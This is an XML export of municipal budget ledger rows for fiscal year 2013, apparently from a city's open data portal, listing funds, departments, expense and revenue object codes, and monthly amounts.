<row _id="3752"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>401060.0</object><object_description>STATE SB 90 CLAIMS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-22000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>22000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3753"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522920.0</object><object_description>VEHICLES - REPAIRS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="3754"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579007.0</object><object_description>DISCRET-ORD ELECTION FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6500.0</total></row>
<row _id="3755"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>553012.0</object><object_description>OTS SOBRIETY CHECKPOINT 2013</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>5800.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5800.0</total></row>
<row _id="3756"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>943</november><december>0</december><january>0.0</january><february>9</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>952.0</total></row>
<row _id="3757"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>115</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>115.0</total></row>
<row _id="3758"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>450</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>450.0</total></row>
<row _id="3759"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566020.0</object><object_description>HOUSEHOLD HAZARDOUS WASTE GRAN</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>50000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="3760"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>556036.0</object><object_description>USED OIL PAY PROG OPP4</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>25821</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25821.0</total></row>
<row _id="3761"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522350.0</object><object_description>LOS AMIGOS MWD GRANT 2013</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>400000</may><june>0.0</june><total>400000.0</total></row>
<row _id="3762"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>544480.0</object><object_description>CONGEST MIT &amp; AIR QUALITY</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>47614.0</march><april>0</april><may>0</may><june>0.0</june><total>47614.0</total></row>
<row _id="3763"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408590.0</object><object_description>SA COLLECTIVE BU COSTS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-312400</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-312400.0</total></row>
<row _id="3764"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>408620.0</object><object_description>FTA NEW FREEDOM GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-30132</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-30132.0</total></row>
<row _id="3765"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>44</fund_id><fund_name>SCAQMD AB 2766 Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-4000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-4000.0</total></row>
<row _id="3766"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>406900.0</object><object_description>DIVCA REV FOR PEG FACILITIES</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-260750</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-260750.0</total></row>
<row _id="3767"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>400290.0</object><object_description>PREF PARKING PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-980000</april><may>0</may><june>0.0</june><total>-980000.0</total></row>
<row _id="3768"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>400318.0</object><object_description>ATTENDANT PARKING-STRUCTRE 7&amp;8</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-4100000</april><may>0</may><june>0.0</june><total>-4100000.0</total></row>
<row _id="3769"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404860.0</object><object_description>1630 5TH LOT 29 (5TH &amp; COLORA)</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-45000</april><may>0</may><june>0.0</june><total>-45000.0</total></row>
<row _id="3770"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>407710.0</object><object_description>MAIN LIBRARY PARKING STRUCTURE</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-800000</april><may>0</may><june>0.0</june><total>-800000.0</total></row>
<row _id="3771"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>555990.0</object><object_description>PARKING AGREEMENT W / MACERICH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>2050000</april><may>0</may><june>0.0</june><total>2050000.0</total></row>
<row _id="3772"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>407692.0</object><object_description>TAXI VEHICLE PERMIT FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-78000</april><may>0</may><june>44400.0</june><total>-33600.0</total></row>
<row _id="3773"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="3774"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="3775"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577650.0</object><object_description>MAINTENANCE / GUARDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>62000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>62000.0</total></row>
<row _id="3776"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1636.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1636.0</total></row>
<row _id="3777"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>34445.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>34445.0</total></row>
<row _id="3778"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>108506.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-4681</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>103825.0</total></row>
<row _id="3779"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>912.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>912.0</total></row>
<row _id="3780"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2500</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="3781"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577341.0</object><object_description>SECT 8 HSG-PORTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>88100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>88100.0</total></row>
<row _id="3782"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>4000</may><june>0.0</june><total>6500.0</total></row>
<row _id="3783"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>46215.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>46215.0</total></row>
<row _id="3784"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>144.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>144.0</total></row>
<row _id="3785"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>578670.0</object><object_description>COORDINATED COMMUNITY OUTREACH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>154396.0</july><august>0</august><september>0.0</september><october>15000.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>-1000</may><june>0.0</june><total>168396.0</total></row>
<row _id="3786"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566810.0</object><object_description>TRANS &amp; USE TAX-SMMUSD ALLOCAT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6800092.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>510008</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7310100.0</total></row>
<row _id="3787"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-19398.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-19398.0</total></row>
<row _id="3788"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-193826.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>8058</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-185768.0</total></row>
<row _id="3789"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-38168.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-38168.0</total></row>
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<row _id="3814"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="3815"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3691.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>60813</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>64504.0</total></row>
<row _id="3816"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>47826.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>47826.0</total></row>
<row _id="3817"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>671.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>671.0</total></row>
<row _id="3818"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-867.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-867.0</total></row>
<row _id="3819"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-14090.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-14090.0</total></row>
<row _id="3820"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>513.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>513.0</total></row>
<row _id="3821"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1703.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1703.0</total></row>
<row _id="3822"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>405720.0</object><object_description>CUPA ELECTRONIC REPORTING</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-2718.0</july><august>0</august><september>0.0</september><october>-27075.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-29793.0</total></row>
